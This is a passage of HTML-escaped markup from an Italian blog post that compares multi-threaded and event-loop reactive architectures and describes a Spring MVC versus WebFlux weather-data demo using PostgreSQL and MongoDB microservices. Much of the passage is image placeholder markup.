%2014-3%2019%203%203%204%203%2010%203l9-1-6-1c-11%200-16-4-14-11%201-7%203-7%2032-7%2025%200%2027%200%2029%202%203%202%204%206%203%2010-2%205-5%206-25%206l-18%201%2020%201h19l4-3c5-6%204-15-4-19l-4-1v-7l-1-8-2-5c0-4%200-4-3-4-4%200-4%200-4%204l-2%205-1%209c0%206%200%206-2%206s-2%200-2-5c0-4%200-6-2-9l-2-7c0-3%200-3-3-3s-3%200-3%203l-2%207c-2%203-2%205-2%209%200%205%200%205-2%205s-2%200-2-6l-1-9-2-5c0-4%200-4-3-4-4%200-4%200-4%204m3%201l-1%205-2%208v6h4c3%200%204-1%204-5l-2-8-2-6-1-3v3m17%200l-2%205-1%208v6h8v-6l-1-8-2-5-1-3-1%203m18-1l-2%205-1%209v6h7v-6l-1-8-2-5c-1-2-1-3-1-1m-100%201c-2%201-2%201%200%204%202%205%206%207%2010%204l3-3%201-2v-2c-3-2-10-2-14-1m170%203l-6%201c-2%200-3%200-3%202l-1%201-1-1c1-2%200-2-3-2-5%200-5%202-2%207%205%208%2019%208%2023-1%203-4%202-5-1-7h-6M32%2048c-2%207-2%207%208%207h9v-3c-2-7-2-7-9-7h-8v3m139%205c-3%204-3%2010%202%2013%204%202%2050%202%2054%200%205-3%206-10%201-13-2-2-4-2-28-2h-26l-3%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/81ea7e6dacb4072dd136fa4ce332d634/c85cb/esempio-processo-imperativo.webp 300w,/static/81ea7e6dacb4072dd136fa4ce332d634/e88ff/esempio-processo-imperativo.webp 600w,/static/81ea7e6dacb4072dd136fa4ce332d634/92f8c/esempio-processo-imperativo.webp 1200w,/static/81ea7e6dacb4072dd136fa4ce332d634/f3aa3/esempio-processo-imperativo.webp 1729w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/81ea7e6dacb4072dd136fa4ce332d634/5a46d/esempio-processo-imperativo.png 300w,/static/81ea7e6dacb4072dd136fa4ce332d634/0a47e/esempio-processo-imperativo.png 600w,/static/81ea7e6dacb4072dd136fa4ce332d634/c1b63/esempio-processo-imperativo.png 1200w,/static/81ea7e6dacb4072dd136fa4ce332d634/3fa9f/esempio-processo-imperativo.png 1729w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 4 - Esempio di processo imperativo&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/81ea7e6dacb4072dd136fa4ce332d634/c1b63/esempio-processo-imperativo.png&quot; title=&quot;Figura 4 - Esempio di processo imperativo&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 4 - Esempio di processo imperativo&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;multi-threading&quot;&gt;Multi threading&lt;/h2&gt;&lt;p&gt;Facciamo un ripasso delle architetture su cui tutti siamo abituati a lavorare
giorno per giorno. I nostri application server, come ad esempio JBoss,
gestiscono una coda di richieste in ingresso e un pool di thread in grado di
elaborare queste richieste.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figura 5 - Un flusso di elaborazione tradizionale&quot; title=&quot;Figura 5 - Un flusso di elaborazione tradizionale&quot; src=&quot;/linked/cc3d7bffe3ca988a9367f4adfd14a6b7/multi-threading.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 5 - Un flusso di elaborazione tradizionale&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;All&amp;#x27;arrivo di una nuova richiesta nella coda viene impiegato un nuovo thread
oppure uno presente nel thread pool. Questo thread ha il compito di accompagnare
il task per tutto il suo ciclo di vita, infatti, nel caso in cui il task in
esecuzione esegue una chiamata bloccante (ad esempio verso un database o
servizio esterno), anche lo stesso thread si mette in attesa. Solo quando
la chiamata bloccante sarà terminata il thread continuerà ad eseguire il task.
Il thread verrà rilasciato solo al termine di tutto il task. Quello che si evidenzia
è che abbiamo un rapporto 1 a 1 fra task e thread.&lt;/p&gt;&lt;h2 id=&quot;event-loop&quot;&gt;Event Loop&lt;/h2&gt;&lt;p&gt;Discorso diverso vale per quello che si definisce loop degli eventi, uno dei
pattern più largamente utilizzati in ambito programmazione reattiva.&lt;/p&gt;&lt;p&gt;L&amp;#x27;&lt;a href=&quot;https://en.wikipedia.org/wiki/Event_loop&quot;&gt;event loop&lt;/a&gt; ha l&amp;#x27;onere
di gestire le richieste in input e tratta ognuna di queste come se fosse
un &lt;strong&gt;evento&lt;/strong&gt; relazionato ad un &lt;strong&gt;listener&lt;/strong&gt;. Inoltre ha il compito di
decidere a chi inoltrare le chiamate che viaggiano in direzione di sistemi
esterni. In questo caso verrà verificato se esiste già un listener che
rappresenta tale servizio da poter riusare, altrimenti ne verrà creato uno nuovo.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figura 6 - Un flusso di elaborazione reattivo&quot; title=&quot;Figura 6 - Un flusso di elaborazione reattivo&quot; src=&quot;/linked/6635ee8931c35103d9519a09f8cd4a09/event-loop.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 6 - Un flusso di elaborazione reattivo&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;L&amp;#x27;event loop decide la schedulazione dei thread in base alle necessità del
servizio reattivo esterno o alla libreria asincrona e svolgerà il suo lavoro
senza bloccare il ciclo. Nel caso dell&amp;#x27;arrivo di una nuova richiesta, questa
entrerà nell&amp;#x27;event loop che potrà decidere se sfruttare lo stesso listener
creato da una richiesta precedente.&lt;/p&gt;&lt;p&gt;Una volta che il sistema esterno termina l&amp;#x27;elaborazione e ritornerà una risposta,
questa verrà nuovamente gestita dall&amp;#x27;event loop che saprà a chi far tornare
l&amp;#x27;informazione.&lt;/p&gt;&lt;p&gt;Il vantaggio è che non ci sono thread che restano bloccati in attesa della
risposta ma sarà bensì una callback che verrà richiamata non appena la risposta
sarà a disposizione del chiamante, andando a risvegliare quella parte di codice
che aveva iniziato la chiamata asincrona.&lt;/p&gt;&lt;p&gt;I framework che implementano la programmazione reattiva e utilizzano l&amp;#x27;event
loop sono:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Specifici per il linguaggio Java:&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://projectreactor.io/&quot;&gt;Project Reactor&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://akka.io/&quot;&gt;Akka&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Poliglotti:&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://reactivex.io/&quot;&gt;ReactiveX&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://vertx.io/&quot;&gt;Vert.x&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2 id=&quot;spring&quot;&gt;Spring&lt;/h2&gt;&lt;p&gt;Per il nostro caso abbiamo deciso di adottare &lt;a href=&quot;https://spring.io/projects/spring-boot&quot;&gt;Spring boot&lt;/a&gt;
e quindi &lt;a href=&quot;https://projectreactor.io/&quot;&gt;Project Reactor&lt;/a&gt;
per sfruttare le componenti reattive di WebFlux. Reactor può essere utilizzato
come una libreria esterna anche su progetti non Spring.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1060px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5b9724f680815a02221603803ad3d866/77672/loghi-prodotti-spring-utilizzati.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:30%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;120\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20120\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M50%201l-6%203-11%204C21%2012%2013%2020%209%2031L5%2042c-6%2013-6%2024%200%2035l4%2011c4%2011%2013%2020%2024%2023l12%205c11%206%2024%205%2035-1l8-4c12-3%2021-12%2025-23%200-3%202-8%204-11%206-12%206-22%200-35l-4-10c-4-11-12-20-23-24L78%203c-7-3-8-3-17-3L50%201m0%202c-7%202-7%203%202%203h18c9%200%209-1%201-3-7-2-15-2-21%200m264%206c-8%204-14%2011-16%2021l-6%2010c-13%2013-13%2029%200%2041%204%203%205%205%206%209%204%2018%2019%2026%2036%2021%206-2%206-2%2010%200%206%202%2018%202%2023-1%207-4%2015-15%2015-22%200-2%202-5%205-8%207-6%209-11%2010-19%200-7-4-17-10-22-3-3-4-5-6-10-4-18-18-26-36-20h-11c-6-3-14-2-20%200M33%2014c-6%206-6%208-2%206l7-3%2018-9H39l-6%206m41-1a74%2074%200%200015%206c6%203%206%201-1-5l-5-6H65l9%205m-46-2a38%2038%200%2000-17%2022c0%201%2013-10%2020-19%205-6%204-6-3-3m148%200a333%20333%200%2000-28%2046c-2%204-1%206%2013%2030%2015%2026%2011%2024%2043%2024s28%203%2046-29c13-23%2013-21%200-44-18-32-14-29-46-29-22%200-25%200-28%202m-84%205l13%2012c6%205%207%205%204-1s-8-11-13-14c-8-4-9-4-4%203m223-4c-6%202-11%207-13%2014-3%207-3%207%204%204l10-4%206-3%208-7%205-4c0-2-15-3-20%200m31-1c-3%200-3%201%201%203l8%207%2010%206%209%203c5%203%206%202%204-3-4-13-16-19-32-16m-14%207l-6%205%2014%201c15%200%2015-1%206-6-6-5-6-5-14%200M201%2028c-3%202-2%2032%201%2034%201%201%202%201%204-1%202-1%202-2%202-17%200-16%200-18-4-18l-3%202m123-1c-6%201-21%2025-21%2033%200%204%2010%2022%2015%2028%204%205%205%205%2012%206%208%200%2022%200%2027-2%205-1%2019-25%2019-32%200-8-15-32-21-33h-31M15%2032l-6%206v17a126%20126%200%200011-23c3-6%201-6-5%200m88%203l6%2014c3%207%204%206%204-4v-7l-6-5-6-6%202%208m204-2l-7%204v6c0%2012%201%2012%204%205l7-12%204-7-8%204m58-3l4%206%206%2012c3%206%203%206%204%204l1-10v-6l-6-3-9-3m-183%206c-7%207-8%2011-8%2022s1%2015%208%2022c19%2019%2052%205%2052-22%200-13-11-30-17-25-1%202-1%206%201%207s7%208%208%2013c4%2018-15%2034-31%2026-15-7-19-27-7-37%203-3%204-7%202-9s-4-1-8%203m-98%203c-5%206-12%208-26%209-13%201-15%202-20%208-3%205-3%2012%200%2015l3%203%208-1c13-3%2019-5%2025-11%208-7%208-5%201%202s-12%209-22%2012l-8%202%2014%201c16%200%2021-1%2025-6%206-7%207-22%204-34l-1-4-3%204m298%209c-2%2011-2%2013%200%2024l2%209%203-4c10-10%209-26-1-35l-3-3-1%209m-90-5c-6%207-8%2015-6%2024%202%204%208%2013%2010%2013s3-19%201-32c0-9%200-9-5-5M5%2047c-3%205-3%2019-1%2026l2%205%201-8V50l-1-7-1%204m110-1l-1%209v13l2%209%202-5c2-7%202-19-1-25l-2-4v3m217%203c-4%203-7%2010-5%2014%204%2011%2018%2013%2024%204%207-12-7-25-19-18M111%2065l-3%207-7%2020%206-6%206-5v-7c0-5-2-13-2-9M9%2073c0%209%201%2011%209%2017%203%203%204%203%204%201l-4-7-8-19-1%208m292-6l-1%208c-1%208-1%209%208%2013%207%203%208%202%204-3l-7-12-4-6m74%206l-8%2012-3%205h3l8-4%205-2v-6l-1-9-1-3-3%207M11%2087c0%207%2012%2020%2022%2022%202%201-4-7-10-13-10-9-12-10-12-9m96%202l-16%2016c-4%205-4%205-2%205%208-3%2016-10%2020-18%203-6%202-6-2-3m194%201c3%2013%2013%2021%2027%2020%208-1%209-2%205-4l-8-6c-3-4-7-6-12-8l-10-3c-3-3-3-2-2%201m73-1c-2%202-7%203-9%204l-11%207-8%206c-4%202%200%203%209%203%2012%201%2019-5%2023-16%202-6%201-6-4-4m-47%209l7%205%205%203%204-2%208-5%203-2h-14c-12%200-14%200-13%201m-239%203l-15%206-8%204h5c6%201%2012%200%2015-2l9-10-6%202m-58%201c6%208%2011%2010%2021%209h6l-7-4a160%20160%200%2000-20-8c-2%200-2%200%200%203m20%2011l-6%201%204%202c5%202%2021%202%2026%200l4-2c-1-1-22-2-28-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/5b9724f680815a02221603803ad3d866/c85cb/loghi-prodotti-spring-utilizzati.webp 300w,/static/5b9724f680815a02221603803ad3d866/e88ff/loghi-prodotti-spring-utilizzati.webp 600w,/static/5b9724f680815a02221603803ad3d866/e811e/loghi-prodotti-spring-utilizzati.webp 1060w&quot; sizes=&quot;(max-width: 1060px) 100vw, 1060px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/5b9724f680815a02221603803ad3d866/5a46d/loghi-prodotti-spring-utilizzati.png 300w,/static/5b9724f680815a02221603803ad3d866/0a47e/loghi-prodotti-spring-utilizzati.png 600w,/static/5b9724f680815a02221603803ad3d866/77672/loghi-prodotti-spring-utilizzati.png 1060w&quot; sizes=&quot;(max-width: 1060px) 100vw, 1060px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 7 - Loghi dei prodotti Spring utilizzati&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/5b9724f680815a02221603803ad3d866/77672/loghi-prodotti-spring-utilizzati.png&quot; title=&quot;Figura 7 - Loghi dei prodotti Spring utilizzati&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 7 - Loghi dei prodotti Spring utilizzati&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Nella demo, che andremo ad approfondire nei paragrafi successivi, sono state utilizzate le due implementazioni di Spring imperativa e reattiva, rispettivamente &lt;a href=&quot;https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html&quot;&gt;Spring MVC&lt;/a&gt; e &lt;a href=&quot;https://docs.spring.io/spring/docs/current/spring-framework-reference/web-reactive.html&quot;&gt;Spring WebFlux&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;In Spring MVC tutto il codice è scritto con l&amp;#x27;approccio imperativo e le
chiamate verso i sistemi esterni sono di tipo bloccante. Contrariamente a
quanto accade su Spring WebFlux tutta la logica è scritta in maniera reattiva,
garantendo un flusso end-to-end non bloccante. In particolare per la parte HTTP
è stato sfruttato Netty, per i client Reactor HTTP Client e per i connettori
abbiamo R2DBC una versione non bloccante contrapposta a JDBC che invece risulta
bloccante.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/d0ad86d602e8d674b219c94b22ce3635/0e904/insiemi-tecnologie-imperative-e-reattive.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;223\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20223\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M170%2075c-2%202-2%202-3%201-1-2-6-2-8-1-3%203%200%209%203%207l2-1h3c1-2%201-2%203%200s4%202%206%200h2c0%201%203%202%205%201%201%200%201-4-1-6-1-1-2-1-4%202-4%204-7%204-7%200%200-2%200-3%203-3s3-1%202-1c-3-1-5-1-6%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/d0ad86d602e8d674b219c94b22ce3635/c85cb/insiemi-tecnologie-imperative-e-reattive.webp 300w,/static/d0ad86d602e8d674b219c94b22ce3635/e88ff/insiemi-tecnologie-imperative-e-reattive.webp 600w,/static/d0ad86d602e8d674b219c94b22ce3635/92f8c/insiemi-tecnologie-imperative-e-reattive.webp 1200w,/static/d0ad86d602e8d674b219c94b22ce3635/878c0/insiemi-tecnologie-imperative-e-reattive.webp 1384w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/d0ad86d602e8d674b219c94b22ce3635/5a46d/insiemi-tecnologie-imperative-e-reattive.png 300w,/static/d0ad86d602e8d674b219c94b22ce3635/0a47e/insiemi-tecnologie-imperative-e-reattive.png 600w,/static/d0ad86d602e8d674b219c94b22ce3635/c1b63/insiemi-tecnologie-imperative-e-reattive.png 1200w,/static/d0ad86d602e8d674b219c94b22ce3635/0e904/insiemi-tecnologie-imperative-e-reattive.png 1384w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 8 - Insiemi di tecnologie imperative e reattive9&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/d0ad86d602e8d674b219c94b22ce3635/c1b63/insiemi-tecnologie-imperative-e-reattive.png&quot; title=&quot;Figura 8 - Insiemi di tecnologie imperative e reattive9&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 8 - Insiemi di tecnologie imperative e reattive9&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;la-nostra-demo&quot;&gt;La nostra Demo&lt;/h2&gt;&lt;p&gt;Per realizzare la nostra demo abbiamo raccolto i dati meteorologici di alcune
citta sparse intorno al globo. Nello specifico abbiamo due entità:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;City&lt;/strong&gt; che contiene i dati 22.635 città&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Weather&lt;/strong&gt; che, relazionata alla prima tramite cityId, contiene tutti i
dati meteorologici sparsi in 814.860 record&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0350f3c3c57d1622b21491e079d49fe2/6e29b/dati-meteorologici-sparsi-per-il-globo.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:44.99999999999999%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;181\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20181\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M238%201h-2l-1%201-2%201-3%202-3%204-1%201-1%206c1%204%200%204-3%207l-3%203v7l1%201c-1%200%202%204%204%204h1a9523%209523%200%200052-2c2-2%203-3%202-6%200-4-3-9-4-9l-3-4c-3-4-7-10-7-8l-1-1h-8c-2%201-2%201-6-3l-6-3-2-1h-4M118%208l-2%203-9-1c-11-3-30-3-41%200a88%2088%200%2000-65%2098%2087%2087%200%2000164%2024c6-15%207-20%207-38s-1-23-8-38-21-31-34-37c-3-2-4-2-3-4%203-6-5-12-9-7m-49%208c-8%202-7%202%204%204s12%202%2010%209c-2%206-3%207-8%209-3%201-4%202-7%207-5%208-5%208-14%2014-6%203-9%204-16%205-10%201-12%203-6%209%202%201%203%203%203%205v2l2-2c4-3%206-2%209%205%203%205%204%206%205%203%202-5%209-5%2011%200l4%202c2%200%203%202%206%207l5%207h5c8%200%209%201%206%2011-1%208-1%209-7%2015-5%205-6%206-6%2010s0%204-5%208l-6%205v7c0%208-1%2010-8%207-9-3-13-12-13-31%200-15%201-14-7-16-6%200-7-1-10-8s-4-17-1-19c2-2%201-2-6-8-6-3-8-5-9-8l-1-3-1%206c-7%2028%206%2061%2029%2079%2033%2026%2083%2021%20109-9%205-5%205-6%201-9-3-3-3-4-3-9s-1-7-6-18c-5-10-6-13-6-17%200-8-3-10-11-7l-6%201-10-5-12-5-3-12-1-11%205-6%205-5h22l2%204c3%205%203%205%2011%206%207%201%208%201%2014-1l7-2-3-4c-5-7-5-8-9-5s-9%202-21-1c-6-2-8-2-13-1-5%202-6%201-10%200-8-2-8-4-4-11%203-8%205-9%2012-9%2010%200%2011-1%202-4s-31-4-40-1m281%2024l-4%202-4%203-1%202-1%201v3l-1%203v4c1%201%200%202-4%206-5%205-5%208%200%2013l4%204h26l27-1a402%20402%200%20016-5l1-1v-7l-1-1-1-1c1-1-1-3-3-3s-5-3-4-5l-1-2-1-2c0-4-6-7-12-7-5%201-6%201-8-2l-4-2-1-1-1-1h-12\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0350f3c3c57d1622b21491e079d49fe2/c85cb/dati-meteorologici-sparsi-per-il-globo.webp 300w,/static/0350f3c3c57d1622b21491e079d49fe2/e88ff/dati-meteorologici-sparsi-per-il-globo.webp 600w,/static/0350f3c3c57d1622b21491e079d49fe2/92f8c/dati-meteorologici-sparsi-per-il-globo.webp 1200w,/static/0350f3c3c57d1622b21491e079d49fe2/a9e74/dati-meteorologici-sparsi-per-il-globo.webp 1610w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0350f3c3c57d1622b21491e079d49fe2/5a46d/dati-meteorologici-sparsi-per-il-globo.png 300w,/static/0350f3c3c57d1622b21491e079d49fe2/0a47e/dati-meteorologici-sparsi-per-il-globo.png 600w,/static/0350f3c3c57d1622b21491e079d49fe2/c1b63/dati-meteorologici-sparsi-per-il-globo.png 1200w,/static/0350f3c3c57d1622b21491e079d49fe2/6e29b/dati-meteorologici-sparsi-per-il-globo.png 1610w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 9 - Dati meteorologici sparsi per il globo&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0350f3c3c57d1622b21491e079d49fe2/c1b63/dati-meteorologici-sparsi-per-il-globo.png&quot; title=&quot;Figura 9 - Dati meteorologici sparsi per il globo&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 9 - Dati meteorologici sparsi per il globo&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Per arricchire le entità presenti all&amp;#x27;interno della nostra architettura abbiamo
deciso di utilizzare due tipologie diverse di database: SQL e NoSQL. Vista la
differenza nel numero di dati contenuti all&amp;#x27;interno delle due tabelle si è optato
per salvare le città su PostgreSQL e i dati meteorologici su MongoDB.&lt;/p&gt;&lt;h3 id=&quot;microservizi&quot;&gt;Microservizi&lt;/h3&gt;&lt;p&gt;Volevamo mettere in piedi un esempio di quello che può essere un esempio
di &lt;a href=&quot;https://martinfowler.com/articles/microservices.html&quot;&gt;&lt;strong&gt;microservizi&lt;/strong&gt;&lt;/a&gt; autoconsistenti,
quindi abbiamo messo davanti ai database uno spring boot per ognuno.
Esponendo i relativi servizi per ottenere la città a partire dal nome e i
dati meteorologici a paritre dal cityId.&lt;/p&gt;&lt;img alt=&quot;Figura 10 - Esempio di due microservizi&quot; src=&quot;./resources/images/image-20200423164258855.png&quot;/&gt;&lt;h3 id=&quot;aggregatore&quot;&gt;Aggregatore&lt;/h3&gt;&lt;p&gt;Successivamente si è dimostrato necessario ottenere un dato aggregato delle due
informazioni, dato il nome della città ottenere le sue informazioni meteorologiche.
Quindi abbiamo inserito un terzo attore in grado di richiamare le due entità
precedenti e elaborare un dato aggregato:&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:748px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/76ade3508532bd90ddd8822322d70f2d/f8915/aggregatore.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M202%202l-1%2011v10l-20%209c-19%2010-21%2011-21%209l-2-3c-3-3-3-3-16-3l-15%201c-2%201-15%2023-15%2026%200%204%2013%2025%2016%2026h27c3-1%2014-20%2016-25l-4-11-5-8%2029-6%2029-6h89l89-1%201-29c-1-1-196-2-197%200m-72%2048c-13%2013%202%2033%2019%2025%209-4%2011-21%203-26-4-3-5%200-2%204%209%2011-3%2025-15%2018-6-4-7-12-2-18%204-5%201-8-3-3M89%2085a725%20725%200%2000-6%205c1%202%202%202-5%2010l-18%2021h-3l-2-2-2%2016%2015-5-2-2-2-2%2013-15c12-14%2012-15%2015-13%202%201%202%201%204-10%200-6%200-6-7-3m98%204l1%208c0%202%200%202%203%201l2-2%2013%2016c12%2014%2012%2015%2010%2016l-2%202%2015%205-1-8v-8l-3%202h-3a1337%201337%200%2001-22-31c3-2%202-2-5-5-9-3-8-3-8%204m-81%2012c-2%205-2%208%201%205%201-3%204-3%205-1%200%202%202%203%202%200l1%202c0%202%201%203%202%203%203%200%205-2%205-7s0-5-3-5-3%201-4%203l-1%203-2-4c-2-6-3-6-6%201m26%202l1%204%201-4%201-3%201%202c0%205%204%206%207%203h2a448%20448%200%20002%205c3%200%205-2%205-7s0-5-3-5l-4%202h-2c-1-2-4-2-6-1h-1l-2-1c-2%200-2%201-2%205M14%20150L0%20175l14%2025c4%203%2028%203%2031%200%204-4%2014-22%2014-25s-10-21-14-25c-3-3-27-3-31%200m224%200l-14%2025%2014%2025c2%202%204%202%2016%202s14%200%2016-2l14-25-15-26c-3-2-29-1-31%201M18%20163c-10%2011-3%2027%2012%2027%2014%200%2021-18%2011-28-5-4-7-1-2%204%203%205%203%2012-1%2016-4%205-13%205-17%200-4-4-4-11%200-16%202-3%202-6%200-6l-3%203m226-2c-6%203-8%2015-4%2022%208%2013%2030%207%2030-9%200-7-6-15-9-13-1%200-1%201%201%204%206%207%205%2015-2%2019-11%207-23-6-15-17%203-5%203-8-1-6\&amp;#x27